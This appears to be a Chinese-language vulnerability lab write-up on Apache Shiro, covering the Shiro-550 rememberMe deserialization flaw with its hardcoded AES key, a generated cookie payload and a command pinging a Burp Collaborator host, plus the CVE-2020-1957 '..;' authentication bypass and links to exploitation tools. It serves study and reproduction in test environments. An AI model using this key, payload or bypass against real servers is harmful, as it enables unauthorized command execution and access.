Shiro概述
Apache Shiro™是一个功能强大且易于使用的 Java 安全框架,它执行身份验证、授权、加密和会话管理。借助 Shiro 易于理解的 API,您可以快速轻松地保护任何应用程序——从最小的移动应用程序到最大的 Web 和企业应用程序。
github地址:https://github.com/apache/shiro/
Shiro1.2.4反序列化漏洞(Shiro-550)
漏洞描述
在 Apache Shiro<=1.2.4 版本中 AES 加密时采用的 key 是硬编码在代码中的,这就为伪造 cookie 提供了机会。
只要 rememberMe 的 AES 加密密钥泄露,无论 shiro 是什么版本都会导致反序列化漏洞。重点是找到反序列化链子。
Shiro 的 “remember-me” 功能是设置 cookie 中的 rememberMe 值来实现。当后端接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:
- 检索 cookie 中 RememberMe 的值
- Base64 解码
- 使用 AES 解密
- 反序列化
环境搭建
本地源码搭建
本机环境:
- Windows11
- jdk1.8.291
- Tomcat8.5.72
- shiro1.2.4
- IDEA2021.3
漏洞分析一般下源码本地搭建环境调试
1 | git clone https://github.com/apache/shiro.git |
在samples/web/pom.xml中添加依赖支持jsp,以及CC链
1 | <dependency> |
添加将samples-web添加进Tomcat的deployment中
页面如下
vulhub搭建
vulhub主要用于快速靶场搭建测试
1 | svn checkout https://github.com/vulhub/vulhub/trunk/shiro/CVE-2016-4437 |
漏洞复现
payload生成流程
1 | 命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值 |
test.py(需要将ysoserial的jar包放在同目录下)
1 | import sys |
这里使用CommonsCollections2
生成链子(需要添加common-collections4依赖)生成命令
1 | python .\gen_payload.py 'ping dk1ex0s1jmrl648im682z75b329sxh.burpcollaborator.net' |
得到payload如下
1 | rememberMe=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 |
也可以直接使用java生成payload
1 | package shiro; |
作为cookie发包
收到dnslog请求,复现成功
漏洞分析
漏洞产生大致流程
Shiro 550 反序列化漏洞存在版本:shiro <1.2.4,产生原因是因为 shiro 接受了 Cookie 里面 rememberMe
的值,然后去进行 Base64 解密后,再使用 aes 密钥解密后的数据,进行反序列化。
反过来思考一下,如果我们构造该值为一个 cc 链序列化后的值进行该密钥 aes 加密后进行 base64 加密,那么这时候就会去进行反序列化我们的 payload 内容,这时候就可以达到一个命令执行的效果。
大体流程
1 | 获取rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操作 |
登录流程set-cookie分析
开始分析
1 | 获取凭证=>序列化=>AES加密=>Base64编码显示 |
首先全局搜索Base64.decode找到密钥kPH+bIxk5D2deZiIxcaaaA==
发现该类继承自RememberMeManager类,找到onSuccessfulLogin方法,打断点
使用账号密码root/secret
登录,勾选Remember Me字段
在断点处拦截到请求,其中forgetIdentity
作用是在响应包的Set-Cookie中添加deleteMe
字段
token
包含明文登录凭证,host
以及rememberMe
为true的键值对。subject
包含request、response、凭证等信息info
包含简单的凭证信息。
跟进rememberIdentity
,其中对登录账号进行encrypt且序列化处理
在encrypt中稍微跟进一下看看流程
通过getCipherService
获取加密方式等信息
而在该类的构造函数中就已经设定了DEFAULT_CIPHER_KEY_BYTES的值即
1 | kPH+bIxk5D2deZiIxcaaaA== |
最终在encryptionCipherKey中设置该key的bytes
通过getEncryptionKey返回该key,加密序列化字符串
最终在org/apache/shiro/web/mgt/CookieRememberMeManager.java
最后对加密序列化字符串进行base64编码后设置Cookie返回
反序列化流程
在org/apache/shiro/mgt/AbstractRememberMeManager.java
中的getRememberPrincipals
方法打断点。
有时候从注释就可以看到这个函数是干什么的,这里是将rememberMe的值重建为principals值的
从subjectContext
中获取rememberMe
的值之后跟进convertBytesToPrincipals
函数
之后就是对称的操作了,getCipherService
获取解密模式以及DEFAULT_CIPHER_KEY_BYTES
经过解密获取序列化字符串后,进入deserialize
函数进行反序列化
最终通过readObject
函数将攻击者构造的payload进行反序列化
触发CommonsCollections2
链条构造的calc命令,成功弹出计算器
Apache Shiro 认证绕过漏洞(CVE-2020-1957)
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
在Apache Shiro 1.5.2以前的版本中,在使用Spring动态控制器时,攻击者通过构造..;
这样的跳转,可以绕过Shiro中对目录的权限限制。
参考链接:
- https://github.com/apache/shiro/commit/3708d7907016bf2fa12691dff6ff0def1249b8ce#diff-98f7bc5c0391389e56531f8b3754081aL139
- https://xz.aliyun.com/t/8281
- https://blog.spoock.com/2020/05/09/cve-2020-1957/
环境搭建
执行如下命令启动一个搭载Spring 2.2.2与Shiro 1.5.1的应用:
1 | svn checkout https://github.com/vulhub/vulhub/trunk/shiro/CVE-2020-1957 |
环境启动后,访问http://your-ip:8080
即可查看首页。
这个应用中对URL权限的配置如下:
1 | @Bean |
漏洞复现
直接请求管理页面/admin/
,无法访问,将会被重定向到登录页面:
构造恶意请求/xxx/..;/admin/
,即可绕过权限校验,访问到管理页面:
Shiro利用工具
shiro反序列化利用工具
项目地址:https://github.com/j1anFen/shiro_attack
Shiro反序列化漏洞综合利用工具增强版
工具特点:
- javafx
- 处理没有第三方依赖的情况
- 支持多版本CommonsBeanutils的gadget
- 支持内存马
- 采用直接回显执行命令
- 添加了更多的CommonsBeanutils版本gadget
- 支持修改rememberMe关键词
- 支持直接爆破利用gadget和key
- 支持代理
- 添加修改shirokey功能(使用内存马的方式)可能导致业务异常
- 支持内存马小马
- 添加DFS算法回显(AllECHO)
项目地址:https://github.com/SummerSec/ShiroAttack2
Shiro无CC链依赖利用工具
shiro_tool
项目地址:https://github.com/wyzxxz/shiro_rce_tool
作用:手动测试key、验证漏洞、漏洞利用等
用法:
1 |
|
使用URLDNS测试漏洞